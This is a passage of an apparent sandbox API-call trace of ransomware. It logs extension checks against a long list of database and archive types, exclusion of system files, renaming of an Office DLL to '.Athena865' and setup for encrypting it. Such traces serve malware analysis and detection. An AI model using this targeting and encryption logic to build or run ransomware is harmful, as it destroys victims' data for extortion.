[0075.946] lstrlenW (lpString="dlis") returned 4 [0075.946] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0075.946] lstrlenW (lpString="dp1") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0075.946] lstrlenW (lpString="dqy") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0075.946] lstrlenW (lpString="dsk") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0075.946] lstrlenW (lpString="dsn") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0075.946] lstrlenW (lpString="dtsx") returned 4 [0075.946] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0075.946] lstrlenW (lpString="dxl") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0075.946] lstrlenW (lpString="eco") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0075.946] lstrlenW (lpString="ecx") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0075.946] lstrlenW (lpString="edb") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0075.947] lstrlenW (lpString="epim") returned 4 [0075.947] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0075.947] lstrlenW (lpString="fcd") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0075.947] lstrlenW (lpString="fdb") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0075.947] lstrlenW (lpString="fic") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0075.947] lstrlenW (lpString="flexolibrary") returned 12 [0075.947] lstrlenW (lpString="fm5") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0075.947] lstrlenW (lpString="fmp") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0075.947] lstrlenW (lpString="fmp12") returned 5 [0075.947] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1 [0075.947] lstrlenW (lpString="fmpsl") returned 5 [0075.947] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1 [0075.947] lstrlenW (lpString="fol") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0075.947] lstrlenW (lpString="fp3") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0075.947] lstrlenW (lpString="fp4") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0075.947] lstrlenW (lpString="fp5") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0075.947] lstrlenW (lpString="fp7") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0075.947] lstrlenW (lpString="fpt") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0075.947] lstrlenW (lpString="frm") returned 3 [0075.947] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0075.947] lstrlenW (lpString="gdb") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0075.948] lstrlenW (lpString="gdb") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0075.948] lstrlenW (lpString="grdb") returned 4 [0075.948] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0075.948] lstrlenW (lpString="gwi") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0075.948] lstrlenW (lpString="hdb") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0075.948] lstrlenW (lpString="his") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0075.948] lstrlenW (lpString="ib") returned 2 [0075.948] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0075.948] lstrlenW (lpString="idb") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0075.948] lstrlenW (lpString="ihx") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0075.948] lstrlenW (lpString="itdb") returned 4 [0075.948] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0075.948] lstrlenW (lpString="itw") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0075.948] lstrlenW (lpString="jet") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0075.948] lstrlenW (lpString="jtx") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0075.948] lstrlenW (lpString="kdb") returned 3 [0075.948] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0075.948] lstrlenW (lpString="kexi") returned 4 [0075.948] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0075.948] lstrlenW (lpString="kexic") returned 5 [0075.948] lstrcmpiW (lpString1="s.dll", lpString2="kexic") returned 1 [0075.948] lstrlenW (lpString="kexis") returned 5 [0075.949] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1 [0075.949] lstrlenW (lpString="lgc") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0075.949] lstrlenW (lpString="lwx") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0075.949] lstrlenW (lpString="maf") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0075.949] lstrlenW (lpString="maq") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0075.949] lstrlenW (lpString="mar") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0075.949] lstrlenW (lpString="marshal") returned 7 [0075.949] lstrcmpiW (lpString1="7es.dll", lpString2="marshal") returned -1 [0075.949] lstrlenW (lpString="mas") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0075.949] lstrlenW (lpString="mav") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0075.949] lstrlenW (lpString="maw") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0075.949] lstrlenW (lpString="mdbhtml") returned 7 [0075.949] lstrcmpiW (lpString1="7es.dll", lpString2="mdbhtml") returned -1 [0075.949] lstrlenW (lpString="mdn") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0075.949] lstrlenW (lpString="mdt") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0075.949] lstrlenW (lpString="mfd") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0075.949] lstrlenW (lpString="mpd") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0075.949] lstrlenW (lpString="mrg") returned 3 [0075.949] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0075.950] lstrlenW (lpString="mud") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0075.950] lstrlenW (lpString="mwb") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0075.950] lstrlenW (lpString="myd") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0075.950] lstrlenW (lpString="ndf") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0075.950] lstrlenW (lpString="nnt") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0075.950] lstrlenW (lpString="nrmlib") returned 6 [0075.950] lstrcmpiW (lpString1="es.dll", lpString2="nrmlib") returned -1 [0075.950] lstrlenW (lpString="ns2") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0075.950] lstrlenW (lpString="ns3") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0075.950] lstrlenW (lpString="ns4") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0075.950] lstrlenW (lpString="nsf") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0075.950] lstrlenW (lpString="nv") returned 2 [0075.950] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0075.950] lstrlenW (lpString="nv2") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0075.950] lstrlenW (lpString="nwdb") returned 4 [0075.950] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0075.950] lstrlenW (lpString="nyf") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0075.950] lstrlenW (lpString="odb") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0075.950] lstrlenW (lpString="odb") returned 3 [0075.950] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0075.951] lstrlenW (lpString="oqy") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0075.951] lstrlenW (lpString="ora") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0075.951] lstrlenW (lpString="orx") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0075.951] lstrlenW (lpString="owc") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0075.951] lstrlenW (lpString="p96") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0075.951] lstrlenW (lpString="p97") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0075.951] lstrlenW (lpString="pan") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0075.951] lstrlenW (lpString="pdb") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0075.951] lstrlenW (lpString="pdm") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0075.951] lstrlenW (lpString="pnz") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0075.951] lstrlenW (lpString="qry") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0075.951] lstrlenW (lpString="qvd") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0075.951] lstrlenW (lpString="rbf") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0075.951] lstrlenW (lpString="rctd") returned 4 [0075.951] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0075.951] lstrlenW (lpString="rod") returned 3 [0075.951] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0075.951] lstrlenW (lpString="rodx") returned 4 [0075.951] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0075.952] lstrlenW (lpString="rpd") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0075.952] lstrlenW (lpString="rsd") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0075.952] lstrlenW (lpString="sas7bdat") returned 8 [0075.952] lstrcmpiW (lpString1="s7es.dll", lpString2="sas7bdat") returned -1 [0075.952] lstrlenW (lpString="sbf") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0075.952] lstrlenW (lpString="scx") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0075.952] lstrlenW (lpString="sdb") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0075.952] lstrlenW (lpString="sdc") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0075.952] lstrlenW (lpString="sdf") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0075.952] lstrlenW (lpString="sis") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0075.952] lstrlenW (lpString="spq") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0075.952] lstrlenW (lpString="te") returned 2 [0075.952] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0075.952] lstrlenW (lpString="teacher") returned 7 [0075.952] lstrcmpiW (lpString1="7es.dll", lpString2="teacher") returned -1 [0075.952] lstrlenW (lpString="tmd") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0075.952] lstrlenW (lpString="tps") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0075.952] lstrlenW (lpString="trc") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0075.952] lstrlenW (lpString="trc") returned 3 [0075.952] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0075.952] lstrlenW (lpString="trm") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0075.953] lstrlenW (lpString="udb") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0075.953] lstrlenW (lpString="udl") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0075.953] lstrlenW (lpString="usr") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0075.953] lstrlenW (lpString="v12") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0075.953] lstrlenW (lpString="vis") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0075.953] lstrlenW (lpString="vpd") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0075.953] lstrlenW (lpString="vvv") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0075.953] lstrlenW (lpString="wdb") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0075.953] lstrlenW (lpString="wmdb") returned 4 [0075.953] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0075.953] lstrlenW (lpString="wrk") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0075.953] lstrlenW (lpString="xdb") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0075.953] lstrlenW (lpString="xld") returned 3 [0075.953] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0075.953] lstrlenW (lpString="xmlff") returned 5 [0075.953] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1 [0075.953] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7es.dll.Athena865") returned 65 [0075.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7es.dll" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7es.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7es.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7es.dll.athena865"), dwFlags=0x1) returned 1 [0075.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7es.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7es.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.955] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=480152) returned 1 [0075.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.956] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.956] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.956] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.956] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x756a0, lpName=0x0) returned 0x17c [0075.958] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x756a0) returned 0x2d50000 [0075.989] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.990] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.990] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.990] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.995] CloseHandle (hObject=0x17c) returned 1 [0075.995] CloseHandle (hObject=0x154) returned 1 [0075.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.997] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efba800, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4c02e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5efba800, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7fr.dll", cAlternateFileName="")) returned 1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".") returned 1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="..") returned 1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="windows") returned -1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="bootmgr") returned 1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="temp") returned -1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="pagefile.sys") returned -1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="boot") returned 1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="ids.txt") returned 1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="ntuser.dat") returned -1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="perflogs") returned -1 [0075.997] lstrcmpiW (lpString1="mscss7fr.dll", lpString2="MSBuild") returned 1 [0075.997] lstrlenW (lpString="mscss7fr.dll") returned 12 [0075.997] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7fr.dll" | out: lpString1="mscss7fr.dll") returned="mscss7fr.dll" [0075.997] lstrlenW (lpString="mscss7fr.dll") returned 12 [0075.997] lstrlenW (lpString="Athena865") returned 9 [0075.998] lstrcmpiW (lpString1="ss7fr.dll", lpString2="Athena865") returned 1 [0075.998] lstrlenW (lpString=".dll") returned 4 [0075.998] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".dll") returned 1 [0075.998] lstrlenW (lpString=".lnk") returned 4 [0075.998] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".lnk") returned 1 [0075.998] lstrlenW (lpString=".ini") returned 4 [0075.998] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".ini") returned 1 [0075.998] lstrlenW (lpString=".sys") returned 4 [0075.998] lstrcmpiW (lpString1="mscss7fr.dll", lpString2=".sys") returned 1 [0075.998] lstrlenW (lpString="mscss7fr.dll") returned 12 [0075.998] lstrlenW (lpString="bak") returned 3 [0075.998] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0075.998] lstrlenW (lpString="ba_") returned 3 [0075.998] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0075.998] lstrlenW (lpString="dbb") returned 3 [0075.998] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0075.998] lstrlenW (lpString="vmdk") returned 4 [0075.998] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0075.998] lstrlenW (lpString="rar") returned 3 [0075.998] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0075.998] lstrlenW (lpString="zip") returned 3 [0075.998] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0075.998] lstrlenW (lpString="tgz") returned 3 [0075.998] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0075.998] lstrlenW (lpString="vbox") returned 4 [0075.998] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0075.998] lstrlenW (lpString="vdi") returned 3 [0075.998] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0075.998] lstrlenW (lpString="vhd") returned 3 [0075.998] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0075.998] lstrlenW (lpString="vhdx") returned 4 [0075.998] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0075.999] lstrlenW (lpString="avhd") returned 4 [0075.999] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0075.999] lstrlenW (lpString="db") returned 2 [0075.999] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0075.999] lstrlenW (lpString="db2") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0075.999] lstrlenW (lpString="db3") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0075.999] lstrlenW (lpString="dbf") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0075.999] lstrlenW (lpString="mdf") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0075.999] lstrlenW (lpString="mdb") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0075.999] lstrlenW (lpString="sql") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0075.999] lstrlenW (lpString="sqlite") returned 6 [0075.999] lstrcmpiW (lpString1="fr.dll", lpString2="sqlite") returned -1 [0075.999] lstrlenW (lpString="sqlite3") returned 7 [0075.999] lstrcmpiW (lpString1="7fr.dll", lpString2="sqlite3") returned -1 [0075.999] lstrlenW (lpString="sqlitedb") returned 8 [0075.999] lstrcmpiW (lpString1="s7fr.dll", lpString2="sqlitedb") returned -1 [0075.999] lstrlenW (lpString="xml") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0075.999] lstrlenW (lpString="$er") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0075.999] lstrlenW (lpString="4dd") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0075.999] lstrlenW (lpString="4dl") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0075.999] lstrlenW (lpString="^^^") returned 3 [0075.999] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0076.000] lstrlenW (lpString="abs") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0076.000] lstrlenW (lpString="abx") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0076.000] lstrlenW (lpString="accdb") returned 5 [0076.000] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0076.000] lstrlenW (lpString="accdc") returned 5 [0076.000] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0076.000] lstrlenW (lpString="accde") returned 5 [0076.000] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0076.000] lstrlenW (lpString="accdr") returned 5 [0076.000] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0076.000] lstrlenW (lpString="accdt") returned 5 [0076.000] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0076.000] lstrlenW (lpString="accdw") returned 5 [0076.000] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0076.000] lstrlenW (lpString="accft") returned 5 [0076.000] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0076.000] lstrlenW (lpString="adb") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0076.000] lstrlenW (lpString="adb") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0076.000] lstrlenW (lpString="ade") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0076.000] lstrlenW (lpString="adf") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0076.000] lstrlenW (lpString="adn") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0076.000] lstrlenW (lpString="adp") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0076.000] lstrlenW (lpString="alf") returned 3 [0076.000] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0076.000] lstrlenW (lpString="ask") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0076.001] lstrlenW (lpString="btr") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0076.001] lstrlenW (lpString="cat") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0076.001] lstrlenW (lpString="cdb") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0076.001] lstrlenW (lpString="ckp") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0076.001] lstrlenW (lpString="cma") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0076.001] lstrlenW (lpString="cpd") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0076.001] lstrlenW (lpString="dacpac") returned 6 [0076.001] lstrcmpiW (lpString1="fr.dll", lpString2="dacpac") returned 1 [0076.001] lstrlenW (lpString="dad") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0076.001] lstrlenW (lpString="dadiagrams") returned 10 [0076.001] lstrcmpiW (lpString1="css7fr.dll", lpString2="dadiagrams") returned -1 [0076.001] lstrlenW (lpString="daschema") returned 8 [0076.001] lstrcmpiW (lpString1="s7fr.dll", lpString2="daschema") returned 1 [0076.001] lstrlenW (lpString="db-journal") returned 10 [0076.001] lstrcmpiW (lpString1="css7fr.dll", lpString2="db-journal") returned -1 [0076.001] lstrlenW (lpString="db-shm") returned 6 [0076.001] lstrcmpiW (lpString1="fr.dll", lpString2="db-shm") returned 1 [0076.001] lstrlenW (lpString="db-wal") returned 6 [0076.001] lstrcmpiW (lpString1="fr.dll", lpString2="db-wal") returned 1 [0076.001] lstrlenW (lpString="dbc") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0076.001] lstrlenW (lpString="dbs") returned 3 [0076.001] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0076.001] lstrlenW (lpString="dbt") returned 3 [0076.002] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0076.002] lstrlenW 